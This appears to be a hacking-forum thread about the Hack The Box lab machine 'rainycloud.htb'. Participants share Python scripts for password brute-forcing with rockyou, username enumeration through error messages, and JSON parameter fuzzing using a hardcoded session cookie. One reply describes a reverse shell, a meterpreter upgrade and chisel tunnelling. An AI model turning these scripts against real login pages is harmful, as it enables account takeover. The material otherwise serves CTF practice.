(October 16, 2022, 01:25 AM)Hacker2222 Wrote: (October 16, 2022, 01:21 AM)vuln63 Wrote: Heres Some Python3 Code To Brute Force The Json Param
def json():
url = 'http://dev.rainycloud.htb/api/healthcheck'
headers = {"Cookie": "session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0tZqA.dyJU8OGeizFy7KORBeL1POCH3bc", "Content-Type": "application/json"}
with open("/opt/wordlists/pams.txt", "r", encoding='latin-1') as file:
pams = file.readlines()
for pam in pams:
json = {f"{pam}":"test"}
print(Fore.RED + f"Trying Para: {pam}")
r = requests.post(url, headers=headers, json=json, verify=False)
if "missing parameter" not in r.text:
print(Fore.YELLOW + f"Parameter Found: {pam}")
file.close()
break
Make Sure To Indent it
I Had It Idented But The Form Un did it
what is the result ?
I'[m Still Brute Forcing
I Also Tryed Some $eq $regex as parms But Nothing
I Just Finished No Results
Im Gunna Try A New Wordlist
(October 16, 2022, 01:27 AM)dumpsterX0 Wrote: (October 16, 2022, 01:21 AM)vuln63 Wrote: Heres Some Python3 Code To Brute Force The Json Param
def json():
url = 'http://dev.rainycloud.htb/api/healthcheck'
headers = {"Cookie": "session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0tZqA.dyJU8OGeizFy7KORBeL1POCH3bc", "Content-Type": "application/json"}
with open("/opt/wordlists/pams.txt", "r", encoding='latin-1') as file:
pams = file.readlines()
for pam in pams:
json = {f"{pam}":"test"}
print(Fore.RED + f"Trying Para: {pam}")
r = requests.post(url, headers=headers, json=json, verify=False)
if "missing parameter" not in r.text:
print(Fore.YELLOW + f"Parameter Found: {pam}")
file.close()
break
Make Sure To Indent it
I Had It Idented But The Form Un did it
i was stucked too long in a tunnelling can you please explain me mate
Sure You Have To Get A Shell On A container u Create I Went And used a python3 rev shell upgradeed to meterpreter uploaded a static nmap binary discovered hosts and used chisel to start a reverse tunnel to get access to the dev.rainycloud.htb and changed its ip to 127.0.0.1 in /etc/hosts
and i used this to guide me with chisel syntax https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html
Btw After I Finish This Box I'm Writing A script that breaks Down How to Pwn The Box
This Is The Full Script I've Got So Far
#!/usr/bin/env python3
import requests
import sys
import colorama
from colorama import Fore
def brute():
url = 'http://rainycloud.htb/login'
headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://rainycloud.htb/login", "Host": "rainycloud.htb"}
with open("/opt/wordlists/rockyou.txt", "r", encoding='latin-1') as file:
passwords = file.readlines()
for word in passwords:
data = f"username=jack&password={word}"
print(Fore.RED + f"Trying Password: {word}")
r = requests.post(url, headers=headers, data=data, verify=False)
if "Error - Login Incorrect!" not in r.text and r.status_code != 400:
print(Fore.YELLOW + f"Password Found: {word}")
break
def userenum():
url = 'http://rainycloud.htb/login'
headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://rainycloud.htb/login", "Host": "rainycloud.htb"}
with open("/opt/wordlists/users.txt", "r", encoding='latin-1') as file:
users = file.readlines()
for user in users:
data = f"username={user}&password=test"
print(Fore.RED + f"Trying Username: {user}")
r = requests.post(url, headers=headers, data=data)
if "/var/www/rainycloud/./app.py:288" not in r.text:
print(Fore.YELLOW + f"Username Found: {user}")
c = input(Fore.YELLOW + "Would You Like To Keep Enumerating Y/N ")
if c == "N":
break
else:
continue
def json():
url = 'http://dev.rainycloud.htb/api/healthcheck'
headers = {"Cookie": "session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0tZqA.dyJU8OGeizFy7KORBeL1POCH3bc", "Content-Type": "application/json"}
with open("/opt/wordlists/dirbuster.txt", "r", encoding='latin-1') as file:
pams = file.readlines()
for pam in pams:
json = {f"{pam}":"test"}
print(Fore.RED + f"Trying Para: {pam}")
r = requests.post(url, headers=headers, json=json, verify=False)
if "missing parameter" not in r.text:
print(Fore.YELLOW + f"Parameter Found: {pam}")
file.close()
break
json()
